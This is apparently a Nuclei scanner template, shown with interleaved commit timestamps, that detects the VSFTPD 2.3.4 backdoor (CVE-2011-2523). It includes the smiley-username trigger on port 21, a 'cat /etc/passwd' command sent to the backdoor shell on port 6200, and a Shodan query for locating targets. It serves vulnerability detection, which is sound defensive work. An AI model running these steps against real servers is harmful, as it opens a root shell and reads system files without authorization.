2023-03-03 09:30:28 +00:00
id : CVE-2011-2523
info :
name : VSFTPD 2.3.4 - Backdoor Command Execution
author : pussycat0x
severity : critical
description : |
2023-03-03 09:39:15 +00:00
VSFTPD v2.3.4 had a serious backdoor vulnerability allowing attackers to execute arbitrary commands on the server with root-level access. The backdoor was triggered by a specific string of characters in a user login request, which allowed attackers to execute any command they wanted.
2023-03-03 09:30:28 +00:00
reference : |
- https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/
- https://www.exploit-db.com/exploits/49757
remediation : |
Update to the latest version of VSFTPD, which does not contain the backdoor.
2023-03-03 09:39:15 +00:00
classification :
cve-id : CVE-2011-2523
2023-03-03 09:30:28 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 2
2023-06-04 08:13:42 +00:00
verified : true
2023-03-03 09:30:28 +00:00
shodan-query : product:"vsftpd"
2023-03-03 09:39:15 +00:00
tags : cve,cve2011,network,vsftpd,ftp,backdoor
2023-03-03 09:30:28 +00:00
variables :
2023-03-28 11:22:10 +00:00
cmd : "cat /etc/passwd" # shows the the user and group names and numeric IDs
2023-03-03 09:30:28 +00:00
2023-04-27 04:28:59 +00:00
tcp :
2023-03-03 09:30:28 +00:00
- inputs :
- data : "USER letmein:)\r\nPASS please\r\n"
read : 100
host :
2023-03-28 11:22:10 +00:00
- "{{Host}}:21"
2023-03-03 09:30:28 +00:00
- inputs :
- data : "{{cmd}}\n"
read : 100
host :
2023-03-28 11:22:10 +00:00
- "{{Host}}:6200"
2023-03-03 09:30:28 +00:00
matchers :
2023-03-03 09:39:15 +00:00
- type : regex
2023-03-03 09:30:28 +00:00
part : raw
2023-03-03 09:39:15 +00:00
regex :
- "root:.*:0:0:"